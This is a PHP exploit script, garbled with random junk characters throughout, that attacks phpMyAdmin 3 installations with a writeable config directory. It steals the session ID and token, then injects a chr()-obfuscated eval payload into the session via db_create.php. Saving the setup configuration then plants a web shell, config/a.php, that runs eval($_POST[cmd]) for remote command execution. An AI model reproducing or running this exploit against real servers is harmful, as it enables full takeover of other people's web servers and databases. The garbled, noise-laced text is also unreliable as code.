4 |2 b6 ~. {4 B" a' }( ]/** t1 |, w2 D* ]5 E9 T, k* k9 e
* working when the directory:"config" exists and is writeable., k1 I( U& @/ K' C P* E/ C1 V
**/+ B* ^6 q, L2 U5 U# A( @
+ A9 n+ p& z8 L$ O" W
if ($argc < 3) {4 c8 o x# n5 T" O: K' @6 [
print_r(' " o* c) V& b- e1 R- R) D+---------------------------------------------------------------------------+ u1 I6 g0 Q: s& _; \Usage: php '.$argv[0].' host path( \( c/ c% h" K+ s, c8 g+ w& T
host: target server (ip/hostname)0 M1 p5 }; `* t, E# a
path: path to pma3& `8 f# Y# n) o. q* m/ W" [& N. r/ O( f
Example: 3 I# w! O! p7 A/ J: `( D3 h v. P! ]php '.$argv[0].' localhost /pma/9 ]9 W" I0 J0 R/ [
+---------------------------------------------------------------------------+ 3 l; [7 d+ h' ]. f'); 2 \& l J/ w) n) T( [. J exit; # u' f( @9 Y0 o0 ?} ! E `* c2 o& ~) d! z0 L3 K / Q4 N5 l u# r5 m$host = $argv[1]; ! H7 p9 ?+ A( m$path = $argv[2]; ( d; A# f2 D# R6 V- | % V' D! D( K8 r" k! H/ K9 w3 J! c/**: g- X9 D7 z! }- D& o6 K% ^8 T
* Try to determine if the directory:"config" exists 8 @ N$ j: q; A8 Q1 Q( J**/ ( P( d5 ~0 M+ A3 \8 E5 vecho "[+] Try to determine if the directory:config exists....\n";. o; k2 i$ ?5 D
$returnstr=php_request('config/');6 N u3 Y; `: c2 _' b
if(strpos($returnstr,'404')){* d% b* R3 } X2 N
exit("[-] Exploit Failed! The directory:config do not exists!\n");' i5 N3 o/ Q" {5 i: i
} 0 N" A j8 R. o6 _% m7 Q7 I* r( m( i2 l T/ W4 G7 |! U) u# s3 v$ }2 N3 e
/** ( j- t. G9 T- ]% Z2 k' R * Try to get token and sessionid : p2 d d) U# O**/& ^, {- `3 [2 o% w/ v) x, y
echo "[+] Try to get token and sessionid....\n";+ ~! T( o4 i# u k, j$ O; g) A
$result=php_request('index.php');3 D9 P; V- y4 r2 Q# }# e9 S/ M
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp); L% g, J k7 ^4 r$token=$resp[3];" ^( |* H0 |5 [6 k p
$sessionid=$resp[1]; 6 w4 x) l4 N7 U2 gif($token && $sessionid){4 K+ N4 |) b3 ]2 C; F# p9 c
echo "[+] tokentoken\n"; - N+ K4 b/ F1 I( L. r; \. ^ M/ h echo "[+] Session IDsessionid\n"; * K6 ]- t4 N$ y, d}else{2 G- H/ I+ S7 U7 T) G
exit("[-] Can't get token and Session ID,Exploit Failed!\n");" _" I- ]5 x0 d! n8 ` E
}2 o* ^& f; R1 n' {0 Z5 L
0 o/ W* O p! w1 r7 ]. h/** : Z! ]% A3 b( `# `$ |% W * Try to insert shell into session4 b) c" F5 w! V+ x: Q
**/- |9 c# t& d' I0 C ^' C0 O$ x
echo "[+] Try to insert shell into session....\n"; 7 W9 ?$ J$ @# ?& F; V8 jphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.% F; o4 W2 {- i, ]4 f* L
9 P8 }- Y7 n& R- [6 s9 Q/** $ s$ {2 v! M% k) Q" ~5 K: _ * Try to create webshell) w* R4 Y, P8 |/ f
**/$ y. V4 u! U, ^
echo "[+] Try to create webshell....\n";* C' {4 b6 Y& t; R* r) t
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid); 6 l9 ?* C+ f4 L$ `* ]/** 5 B: z! ]6 d2 [0 P * Try to check if the webshell was created successfully8 Z8 ~5 H& V j7 s3 M
**/ : x3 h& I$ A3 e9 q7 S. Xecho "[+] Try to check if the webshell was created successfully....\n";2 Y, W3 b/ {% [& z j* `
$content=php_request('config/config.inc.php');2 W- }, H5 Q# z' r# N$ K" F
if(strpos($content,'t00ls')){: n- J, {! b0 }/ m4 A& Y- P' r6 f% W! m. h
echo "[+] Congratulations! Expoilt successfully....\n"; 5 i/ V6 |( w5 I& G- G/ \ echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";2 U3 ]& X! n0 R0 { K$ l# G% t
}else{0 h; c8 c9 E: K4 |0 ]0 j9 ~
exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n"); 7 i/ d7 p# G. \3 x} 3 k: E9 S: D+ w; p2 q* i0 a, ~3 i' V( O. q# w% a
function php_request($url,$data='',$cookie=''){, x8 P2 c; u" ~; w# ~
global $host, $path;- b- f( D* L( I
" }+ J, z1 i* |" o) B9 `% b$ z( y
$method=$data?'POST':'GET'; , c' O0 D/ A, B 7 P' X+ @% w. G5 o $packet = $method." ".$path.$url." HTTP/1.1\r\n"; # U' P* g! p- f; ~ $packet .= "Accept: */*\r\n"; ! p0 `/ }: p! m* s) y $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";$ _7 K8 X4 i3 k
$packet .= "Host: $host\r\n"; 8 N. C- f* |# r. C $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":""; $ R: r- Y3 b7 G2 C; e $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";: W. w. \! }! n5 \
$packet .= $cookie?"Cookie: $cookie\r\n":""; 6 ]7 m4 t* o' i+ q1 [. ? M $packet .= "Connection: Close\r\n\r\n";, L3 Q. `6 g( E
$packet .= $data?$data:""; 2 Q* X; C0 N, b9 @ ) q+ O! \. | w $fp = fsockopen(gethostbyname($host), 80); e5 V' U; {0 G. S" f if (!$fp) { % ~- D3 |- H% j2 Z R echo 'No response from '.$host; die; + H) G, Z5 p5 x/ h0 l c } 4 h$ }) ]( G2 ~4 ^& m2 g fputs($fp, $packet);* c2 ~5 K: p7 b. V9 {
6 R: I+ e8 I* ~ $resp = '';" \) l& a) K- T5 f* L
; }7 J9 K7 z3 H4 k- C V while ($fp && !feof($fp)) 9 X2 P( I/ b# ~! z; D $resp .= fread($fp, 1024);* p! J: h& O9 T: V8 d
9 O7 K) V& g9 z$ x return $resp; 5 s. d0 A. j3 ] |} 4 U; o# {3 {# u5 Q% b& o 4 \* H; v1 J; N; J7 e8 g; e2 b$ K6 Z! K?> + f" b3 D* Q+ X
.